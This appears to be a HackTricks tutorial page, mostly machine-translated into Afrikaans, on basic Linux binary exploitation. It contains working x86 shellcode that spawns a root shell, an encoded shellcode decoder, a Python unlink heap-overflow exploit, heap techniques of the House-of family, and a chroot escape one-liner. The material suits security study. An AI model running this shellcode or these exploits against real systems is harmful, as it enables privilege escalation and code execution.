33 KiB
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsieplanne!
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
2.SHELLCODE
Ver onderbrekings van die kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; skoonmaak eax
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Voer syscall uit
nasm -f elf assembly.asm —> Dit gee ons 'n .o
ld assembly.o -o shellcodeout —> Dit gee ons 'n uitvoerbare vorm van die assemblerkode en ons kan die opcodes met objdump kry
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry
Kontroleer dat die shellcode werk
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Om te sien dat die stelsels oproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelsels oproepe moet verskyn in strace ./PROGRAMA_COMPILADO
Wanneer shellcodes geskep word, kan 'n truuk gedoen word. Die eerste instruksie is 'n jump na 'n call. Die call roep die oorspronklike kode aan en plaas ook die EIP op die stack. Na die call instruksie het ons die string wat ons benodig, ingevoeg, sodat ons met daardie EIP na die string kan verwys en ook die kode kan voortgaan uitvoer.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ met die Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Bestaan uit 'n klein kode wat die geheuebladsye wat aan 'n proses gekoppel is, deursoek op soek na die shellcode wat daar gestoor is (soek 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein ruimte is om kode in te spuit.
Shellcodes polimórfies
Bestaan uit gesleutelde shells wat 'n klein kode het wat hulle ontsleutel en na hulle spring, met die Call-Pop truuk, dit sou 'n cesar gesleutelde voorbeeld wees:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Aanvullende Metodes
Murat Tegniek
In linux word alle programme gemap vanaf 0xbfffffff
Deur te kyk hoe die stapel van 'n nuwe proses in linux gebou word, kan 'n exploit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres hiervan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(NAME_complete_executable) - strlen(shellcode)
Op hierdie manier kan die adres waar die omgewing veranderlike met die shellcode is, eenvoudig verkry word.
Dit kan gedoen word omdat die funksie execle 'n omgewing toelaat wat slegs die gewenste omgewing veranderlikes bevat.
Formaat Strings na Buffer Oorloop
Die sprintf beweeg 'n geformateerde string na 'n veranderlike. Daarom kan jy die formatering van 'n string misbruik om 'n buffer oorloop in die veranderlike waar die inhoud na gekopieer word, te veroorsaak.
Byvoorbeeld, die payload %.44xAAAA
sal 44B+"AAAA" in die veranderlike skryf, wat 'n buffer oorloop kan veroorsaak.
__atexit Strukture
{% hint style="danger" %} Tans is dit baie vreemd om dit te exploiteer. {% endhint %}
atexit()
is 'n funksie waaraan ander funksies as parameters oorgedra word. Hierdie funksies sal uitgevoer word wanneer 'n exit()
of die terugkeer van die hoof uitgevoer word.
As jy die adres van enige van hierdie funksies kan wysig om na 'n shellcode te verwys, sal jy beheer oor die proses verkry, maar dit is tans meer ingewikkeld.
Tans is die adresse na die funksies wat uitgevoer moet word, versteek agter verskeie strukture en uiteindelik is die adres waarnatoe dit verwys nie die adresse van die funksies nie, maar is geënkripteer met XOR en verskuiwings met 'n willekeurige sleutel. So tans is hierdie aanvalsvector nie baie nuttig nie, ten minste op x86 en x64_86.
Die enkripsiefunksie is PTR_MANGLE
. Ander argitekture soos m68k, mips32, mips64, aarch64, arm, hppa... implementeer nie die enkripsie funksie nie omdat dit die selfde teruggee as wat dit as invoer ontvang. So hierdie argitekture kan deur hierdie vektor aangeval word.
setjmp() & longjmp()
{% hint style="danger" %} Tans is dit baie vreemd om dit te exploiteer. {% endhint %}
Setjmp()
laat toe om die konteks (die registers) te stoor
longjmp()
laat toe om die konteks te herstel.
Die gestoorde registers is: EBX, ESI, EDI, ESP, EIP, EBP
Wat gebeur is dat EIP en ESP deur die PTR_MANGLE
funksie oorgedra word, so die argitekture wat kwesbaar is vir hierdie aanval is dieselfde as hierbo.
Hulle is nuttig vir foutherstel of onderbrekings.
E however, volgens wat ek gelees het, is die ander registers nie beskerm nie, so as daar 'n call ebx
, call esi
of call edi
binne die funksie wat aangeroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
VTable en VPTR in C++
Elke klas het 'n Vtable wat 'n array van pointers na metodes is.
Elke objek van 'n klas het 'n VPtr wat 'n pointer na die array van sy klas is. Die VPtr is deel van die kop van elke objek, so as 'n oorskrywing van die VPtr bereik word, kan dit gewysig word om na 'n dummy metode te wys sodat die uitvoering van 'n funksie na die shellcode sal gaan.
Preventiewe Maatreëls en Ontduikings
Vervanging van Libsafe
Word geaktiveer met: LD_PRELOAD=/lib/libsafe.so.2
of
“/lib/libsave.so.2” > /etc/ld.so.preload
Dit onderskep oproepe na sommige onveilige funksies deur ander veilige. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir kompilasies met -fomit-frame-pointer, nie statiese kompilasies nie, nie alle kwesbare funksies word veilig nie en LD_PRELOAD werk nie in binêre met suid).
ASCII Bewapende Adres Ruimte
Dit bestaan uit die laai van die gedeelde biblioteke van 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Dit stop egter regtig min aanvalle, en nog minder in little endian.
ret2plt
Dit bestaan uit die uitvoering van 'n ROP sodat die funksie strcpy@plt (van die plt) aangeroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie wat aangeroep moet word (system()). Daarna word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer… Uiteindelik word die adres wat in GOT gestoor is, aangeroep wat system() sal wees.
Hokke met chroot()
debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel onder 'n spesifieke subgids
'n Admin kan uit een van hierdie hokke ontsnap deur: mkdir foo; chroot foo; cd ..
Kodesinstrumentering
Valgrind —> Soek foute
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Oorloop: Basiese Exploits
Gekose stuk
prev_size |
size | —Kop
*mem | Data
Vrye stuk
prev_size |
size |
*fd | Ptr vorentoe stuk
*bk | Ptr agterstuk —Kop
*mem | Data
Die vrye stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vrye stukke langs mekaar wees nie (hulle word saamgevoeg).
In “size” is daar bits om aan te dui: Of die vorige stuk in gebruik is, of die stuk deur mmap() toegeken is en of die stuk aan die primêre arena behoort.
As 'n stuk vrygestel word en enige van die aangrensende vry is, word hulle saamgevoeg deur die makro unlink() en die nuwe groter stuk word aan frontlink() oorgedra sodat dit die toepaslike bin kan invoeg.
unlink(){
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die een wat al vry was, gehad het
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die een wat al vry was, gehad het
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk
}
Daarom, as ons daarin slaag om die P->bk met die adres van 'n shellcode en die P->fd met die adres na 'n ingang in die GOT of DTORS minus 12 te wysig, word dit bereik:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
En so word die shellcode uitgevoer wanneer die program verlaat.
Boonop skryf die 4de stelling van unlink() iets en die shellcode moet hiervoor herstel word:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dit veroorsaak die skrywe van 4 bytes vanaf die 8ste byte van die shellcode, so die eerste instruksie van die shellcode moet 'n jmp wees om dit te spring en in 'n paar nops te val wat na die res van die shellcode lei.
Daarom word die exploit geskep:
In die buffer1 plaas ons die shellcode wat begin met 'n jmp sodat dit in die nops of in die res van die shellcode val.
Na die shellcode plaas ons opvulling totdat ons by die prev_size en size veld van die volgende stuk kom. In hierdie plekke plaas ons 0xfffffff0 (sodat die prev_size oorgeskryf word om die bit wat sê dat dit vry is, te hê) en “-4“(0xfffffffc) in die size (sodat wanneer dit in die 3de stuk nagaan of die 2de werklik vry was, dit na die gewysigde prev_size gaan wat sal sê dat dit vry is) -> So wanneer free() ondersoek, sal dit na die size van die 3de gaan, maar werklik na die 2de - 4 en sal dink dat die 2de stuk vry is. En dan sal dit unlink() aanroep.
Wanneer unlink() aangeroep word, sal dit as P->fd die eerste data van die 2de stuk gebruik, sodat daar die adres wat oorgeskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En in daardie adres sal dit die tweede adres wat in die 2de stuk gevind word, invoeg, wat ons sal belangrik wees dat dit die adres na die shellcode is (P->bk vals).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes van opvulling
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, op 1 is
fake_size = pack("<I”, 0xfffffffc) #-4, sodat dit dink dat die “size” van die 3de stuk 4bytes agter is (wys na prev_size) want dit is daar waar dit kyk of die 2de stuk vry is
addr_sc = pack("<I", 0x0804a008 + 8) #In die payload sal ons aan die begin 8bytes opvulling plaas
got_free = pack("<I", 0x08048300 - 12) #Adres van free() in die plt-12 (sal die adres wees wat oorgeskryf word sodat die shellcode die 2de keer wat free aangeroep word, gelanseer word)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Soos gesê begin die payload met 8 bytes opvulling omdat dit is
payload += prev_size + fake_size + got_free + addr_sc #Die 2de stuk word gewysig, die got_free wys na waar ons die adres addr_sc + 12 gaan stoor
os.system("./8.3.o " + payload)
unset() vrylatend in omgekeerde volgorde (wargame)
Ons beheer 3 opeenvolgende stukke en hulle word in omgekeerde volgorde vrygestel.
In daardie geval:
In die stuk c plaas ons die shellcode
Die stuk a gebruik ons om die b te oorskry sodat die size die bit PREV_INUSE deaktiveer, sodat dit dink dat die stuk a vry is.
Boonop word die size in die kop b oorgeskryf sodat dit -4 is.
Dan sal die program dink dat “a” vry is en in 'n bin, sodat dit unlink() sal aanroep om dit te ontkoppel. Maar, aangesien die kop PREV_SIZE -4 is, sal dit dink dat die stuk van “a” werklik begin in b+4. Dit wil sê, dit sal 'n unlink() na 'n stuk wat begin in b+4, so in b+12 sal die pointer “fd” wees en in b+16 sal die pointer “bk” wees.
So, as ons in bk die adres na die shellcode plaas en in fd die adres na die funksie “puts()”-12, het ons ons payload.
Frontlink Tegniek
Dit word frontlink genoem wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, word unlink() nie aangeroep nie, maar word direk frontlink() aangeroep.
Nuttige kwesbaarheid wanneer die malloc wat aangeval word, nooit vrygestel word (free()).
Dit benodig:
'n buffer wat oorloop kan word met die invoerfunksie
'n buffer wat aan hierdie buffer grens wat vrygestel moet word en waarvan die fd veld van sy kop gewysig sal word danksy die oorloop van die vorige buffer
'n buffer om vry te stel met 'n grootte groter as 512 maar kleiner as die vorige buffer
'n buffer wat voor stap 3 verklaar is wat toelaat om die prev_size van hierdie te oorskry
Op hierdie manier, deur in twee mallocs ongekontroleerd te oorskry en in een op 'n beheerde manier, maar slegs daardie een vry te stel, kan ons 'n exploit maak.
Double free() kwesbaarheid
As free() twee keer met dieselfde pointer aangeroep word, bly daar twee bins wat na dieselfde adres wys.
In die geval dat een weer gebruik moet word, sal dit sonder probleme toegeken word. In die geval dat 'n ander gebruik moet word, sal dit dieselfde ruimte toegeken word, sodat ons die pointers “fd” en “bk” vals sal hê met die data wat die vorige reservasie sal skryf.
After free()
'n Pointer wat voorheen vrygestel is, word weer sonder beheer gebruik.
8 Heap Oorloop: Gevorderde Exploits
Die tegnieke van Unlink() en FrontLink() is verwyder deur die unlink() funksie te wysig.
The house of mind
Slegs een oproep na free() is nodig om die uitvoering van arbitrêre kode te veroorsaak. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige oorloop vrygestel kan word.
'n oproep na free() veroorsaak dat public_fREe(mem) aangeroep word, dit doen:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Gee 'n pointer na die adres waar die stuk begin (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] kyk dit na die size veld die bit NON_MAIN_ARENA, wat verander kan word sodat die kontrole terugkeer waar dit waar is en heap_for_ptr() aanroep wat 'n and op “mem” doen wat die 2.5 minder belangrike bytes op 0 laat (in ons geval van 0x0804a000 laat dit 0x08000000) en toegang tot 0x08000000->ar_ptr verkry (soos 'n struct heap_info).
Op hierdie manier, as ons 'n stuk kan beheer byvoorbeeld in 0x0804a000 en daar gaan 'n stuk vrygestel word in 0x081002a0, kan ons by die adres 0x08100000 kom en skryf wat ons wil, byvoorbeeld 0x0804a000. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde teruggee wat ons in 0x08100000 geskryf het (want die and wat ons vroeër gesien het, word op 0x081002a0 toegepas en daaruit word die waarde van die eerste 4 bytes, die ar_ptr, geneem).
Op hierdie manier word _int_free(ar_ptr, mem) aangeroep, dit wil sê, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Soos ons voorheen gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel gaan word, geskryf het.
Soos gedefinieer in unsorted_chunks, weet ons dat:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Daarom, as ons in av->bins[2] die waarde van __DTOR_END__-12 skryf, sal die laaste instruksie in __DTOR_END__ die adres van die tweede stuk skryf.
Dit wil sê, in die eerste stuk moet ons aan die begin baie keer die adres van __DTOR_END__-12 plaas, want daaruit sal av->bins[2] dit neem.
In die adres waar die adres van die tweede stuk met die laaste 5 nulles val, moet ons die adres na hierdie eerste stuk skryf sodat heap_for_ptr() dink dat die ar_ptr aan die begin van die eerste stuk is en daaruit die av->bins[2] sal neem.
In die tweede stuk en danksy die eerste oorskry ons die prev_size met 'n jump 0x0c en die size met iets om -> NON_MAIN_ARENA te aktiveer.
Daarna plaas ons 'n hoop nops in stuk 2 en uiteindelik die shellcode.
Op hierdie manier sal _int_free(TROZO1, TROZO2) aangeroep word en die instruksies volg om in __DTOR_END__ die adres van die prev_size van TROZO2 te skryf wat na die shellcode sal spring.
Om hierdie tegniek toe te pas, is dit nodig dat daar 'n paar vereistes nagekom word wat die payload 'n bietjie meer kompliseer.
Hierdie tegniek is nie meer toepaslik nie, aangesien 'n soortgelyke herstel toegepas is soos vir unlink. Dit word vergelyk of die nuwe plek waarnatoe gewys word, ook na homself wys.
Fastbin
Dit is 'n variant van The house of mind.
Dit is belangrik om die volgende kode uit te voer wat bereik word na die eerste kontrole van die funksie _int_free():
fb = &(av->fastbins[fastbin_index(size)] —> Waar fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Op hierdie manier, as ons in “fb” die adres van 'n funksie in die GOT plaas, sal daar in hierdie adres die adres na die oorgeskrywe stuk geplaas word. Hiervoor sal dit nodig wees dat die arena naby die adresse van dtors is. Meer presies dat av->max_fast in die adres is wat ons gaan oorskryf.
Aangesien ons met The House of Mind gesien het dat ons die posisie van die av beheer.
As ons dan in die size veld 'n grootte van 8 + NON_MAIN_ARENA + PREV_INUSE plaas —> fastbin_index() sal ons fastbins[-1] teruggee, wat na av->max_fast sal wys.
In hierdie geval sal av->max_fast die adres wees wat oorgeskryf sal word (nie na waar dit wys nie, maar daardie posisie sal oorgeskryf word).
Boonop moet daar aan voldoen dat die stuk wat aan die vrygestelde groter as 8 moet wees -> Aangesien ons gesê het dat die size van die vrygestelde stuk 8 is, moet ons in hierdie vals stuk net 'n size groter as 8 plaas (soos die shellcode in die vrygestelde stuk sal wees, sal daar aan die begin 'n jmp wees wat in nops val).
Boonop moet daardie selfde vals stuk kleiner wees as av->system_mem. av->system_mem is 1848 bytes verder.
As gevolg van die nulles van _DTOR_END_ en die min adresse in die GOT, is geen adres van hierdie afdelings geskik om oorgeskryf te word nie, so kom ons kyk hoe om fastbin toe te pas om die stapel aan te val.
'n Ander manier van aanval is om die av na die stapel te herlei.
As ons die size wysig sodat dit 16 in plaas van 8 is, sal fastbin_index() ons fastbins[0] teruggee en kan ons dit gebruik om die stapel te oorskryf.
Hiervoor mag daar geen canary of vreemde waardes in die stapel wees nie, in werklikheid moet ons in hierdie wees: 4 null bytes + EBP + RET.
Die 4 null bytes is nodig sodat die av aan hierdie adres sal wees en die eerste element van 'n av is die mutexe wat 0 moet wees.
Die av->max_fast sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te oorkom.
In die av->fastbins[0] sal dit met die adres van p oorgeskryf word en sal die RET wees, sodat dit na die shellcode sal spring.
Boonop, in av->system_mem (1484bytes bo die posisie in die stapel) sal daar genoeg rommel wees wat ons sal toelaat om die kontrole wat gedoen word, te oorkom.
Boonop moet daar aan voldoen dat die stuk wat aan die vrygestelde groter as 8 moet wees -> Aangesien ons gesê het dat die size van die vrygestelde stuk 16 is, moet ons in hierdie vals stuk net 'n size groter as 8 plaas (soos die shellcode in die vrygestelde stuk sal wees, sal daar aan die begin 'n jmp wees wat in nops val wat na die size veld van die nuwe vals stuk gaan).
The House of Spirit
In hierdie geval soek ons 'n pointer na 'n malloc wat deur die aanvaller gewysig kan word (byvoorbeeld, dat die pointer onder 'n moontlike oorloop na 'n veranderlike op die stapel is).
So kan ons maak dat hierdie pointer na enige plek wys. Maar nie enige plek is geldig nie, die grootte van die vals stuk moet kleiner wees as av->max_fast en meer spesifiek gelyk aan die grootte wat in 'n toekomstige oproep na malloc()+8 aangevra word. Daarom, as ons weet dat na hierdie kwesbare pointer malloc(40) aangeroep word, moet die grootte van die vals stuk gelyk wees aan 48.
As die program byvoorbeeld die gebruiker om 'n nommer vra, kan ons 48 invoer en die veranderlike pointer na die volgende 4bytes (wat dalk aan die EBP behoort, met geluk, so die 48 agterbly, soos die kop grootte). Boonop moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system_mem.
As dit nagekom word, wanneer die volgende malloc wat ons gesê het malloc(40) is, sal dit as adres die adres van die EBP toegeken word. As die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy sowel die EBP as die EIP met die adres wat hy wil, oorskryf.
Ek glo dit is omdat wanneer dit vrygestel word, free() sal onthou dat daar in die adres wat na die EBP van die stapel wys, 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer wil word, is, so dit ken daardie adres toe.
The House of Force
Dit is nodig:
- 'n oorloop na 'n stuk wat die wilderness kan oorskryf
- 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
- 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word
Die eerste stap is om die size van die wilderness stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige aanvraag van genoegsame groot geheue in _int_malloc() behandel sal word sonder om die heap uit te brei.
Die tweede stap is om die av->top te verander sodat dit na 'n geheuegebied onder die beheer van die aanvaller wys, soos die stapel. In av->top sal &EIP - 8 geplaas word.
Ons moet av->top oorskryf sodat dit na die geheuegebied onder die beheer van die aanvaller wys:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim neem die waarde van die adres van die huidige wilderness stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die hoeveelheid bytes wat deur malloc() aangevra is. So as &EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, sal die hoeveelheid wat ons in die beheerde malloc moet reserveer sodat av->top na $EIP-8 wys vir die volgende malloc() wees:
0xbffff224 - 0x080c2788 = 3086207644.
So sal die veranderde waarde in av->top gestoor word en die volgende malloc sal na die EIP wys en dit kan oorskryf.
Dit is belangrik om te weet dat die size van die nuwe wilderness stuk groter moet wees as die aanvraag wat deur die laaste malloc gemaak is. Dit wil sê, as die wilderness na &EIP-8 wys, sal die size presies in die EBP veld van die stapel wees.
The House of Lore
Klein Bin Korruptie
Die vrygestelde stukke word in die bin ingevoer op grond van hul grootte. Maar voordat hulle ingevoer word, word hulle in onsorted bins gestoor. 'n Stuk wat vrygestel word, word nie onmiddellik in sy bin geplaas nie, maar bly in onsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde dit kan dien, word dit teruggegee, maar as 'n groter gereserveer word, word die vrygestelde stuk in onsorted bins in sy toepaslike bin geplaas.
Om die kwesbare kode te bereik, moet die geheue aanvraag groter wees as av->max_fast (72 normaalweg) en minder as MIN_LARGE_SIZE (512).
As daar in die bins 'n stuk van die toepaslike grootte is wat aangevra word, word dit teruggegee nadat dit ontkoppel is:
bck = victim->bk; Wys na die vorige stuk, dit is die enigste info wat ons kan verander.
bin->bk = bck; Die voorlaaste stuk word die laaste, in die geval dat bck na die stapel wys, sal die volgende gereserveerde stuk hierdie adres ontvang.
bck->fd = bin; Die lys word gesluit sodat dit na bin wys.
Dit is nodig:
Dat daar twee mallocs gereserveer word, sodat die eerste oorloop kan word nadat die tweede vrygestel is en in sy bin ingevoer is (dit wil sê, 'n groter malloc gereserveer is voordat die oorloop gemaak word).
Dat die malloc wat gereserveer word, die adres wat deur die aanvaller gekies is, deur die aanvaller beheer kan word.
Die doel is die volgende, as ons 'n oorloop na 'n heap kan maak wat onder 'n reeds vrygestelde stuk en in sy bin is, kan ons sy pointer bk verander. As ons sy pointer bk verander en hierdie stuk die eerste van die bin word en gereserveer word, sal bin mislei word en gesê word dat die laaste stuk van die lys (die volgende wat aangebied word) in die vals adres wat ons geplaas het (na die stapel of GOT byvoorbeeld) is. So as daar weer 'n ander stuk gereserveer word en die aanvaller toestemming het, sal 'n stuk in die gewenste posisie gegee word en kan daar in geskryf word.
Na die vrystelling van die gewysigde stuk is dit nodig om 'n stuk groter as die vrygestelde te reserveer, sodat die gewysigde stuk uit onsorted bins sal kom en in sy bin ingevoer sal word.
Sodra dit in sy bin is, is dit tyd om sy pointer bk te verander deur die oorloop sodat dit na die adres wat ons wil oorskryf, wys.
So sal die bin moet wag totdat daar genoeg malloc() aanroep is sodat die gewysigde bin weer gebruik word en bin mislei word om te glo dat die volgende stuk in die vals adres is. En dan sal die stuk wat ons belangstel, gegee word.
Om die kwesbaarheid so vroeg as moontlik uit te voer, is dit ideaal: Reservasie van die kwesbare stuk, reservasie van die stuk wat gewysig sal word, vrystelling van hierdie stuk, reservasie van 'n groter stuk wat gewysig sal word, wysiging van die stuk (kwesbaarheid), reservasie van 'n stuk van gelyke grootte as die gewysigde en 'n tweede stuk van gelyke grootte wat na die gekose adres sal wys.
Om hierdie aanval te beskerm, is die tipiese kontrole gebruik dat die stuk “nie” vals is nie: dit word nagegaan of bck->fd na victim wys. Dit wil sê, in ons geval of die pointer fd* van die vals stuk wat in die stapel gewys is, na victim wys. Om hierdie beskerming te oorkom, moet die aanvaller in staat wees om op een of ander manier (waarskynlik deur die stapel) in die toepaslike adres die adres van victim te skryf. Sodat dit soos 'n werklike stuk lyk.
Groot Bin Korruptie
Die selfde vereistes as voorheen is nodig en nog 'n paar, boonop moet die gereserveerde stukke groter as 512 wees.
Die aanval is soos die vorige, dit wil sê, die pointer bk moet gewysig word en al daardie aanroepe na malloc() is nodig, maar boonop moet die size van die gewysigde stuk so gewysig word dat daardie size - nb < MINSIZE.
Byvoorbeeld, dit sal maak dat die size 1552 is sodat 1552 - 1544 = 8 < MINSIZE (die aftrekking kan nie negatief wees nie omdat 'n unsigned vergelyking gemaak word).
Boonop is daar 'n herstel toegepas om dit nog moeiliker te maak.
Heap Spraying
Basies bestaan dit uit die reservasie van soveel moontlik geheue vir heaps en om dit met 'n matras van nops wat met 'n shellcode eindig, te vul. Boonop word 0x0c as matras gebruik. Dit sal probeer om na die adres 0x0c0c0c0c te spring, en so as daar enige adres oorgeskryf word waarnatoe daar na geroep gaan word met hierdie matras, sal dit daarheen spring. Basies is die taktiek om soveel as moontlik te reserveer om te sien of 'n pointer oorgeskryf word en na 0x0c0c0c0c te spring in die verwagting dat daar nops is.
Heap Feng Shui
Dit bestaan uit die reservasie en vrystelling van geheue sodat daar stukke gereserveer word tussen vrye stukke. Die buffer wat oorloop sal in een van die eiers geleë wees.
objdump -d uitvoerbare —> Disas funksies
objdump -d ./PROGRAMMA | grep FUNKSIE —> Kry funksie adres
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en die OpCodes te kry
objdump -t ./exec | grep varBss —> Simbooltabel, om adresse van veranderlikes en funksies te kry
objdump -TR ./exec | grep exit(func lib) —> Om adresse van biblioteek funksies (GOT) te kry
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Kry die adres van puts om in die GOT oorgeskryf te word
objdump -D ./exec —> Disas ALLES tot die ingange van die plt
objdump -p -/exec
Info funksies strncmp —> Info van die funksie in gdb
Interessante kursusse
Verwysings
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.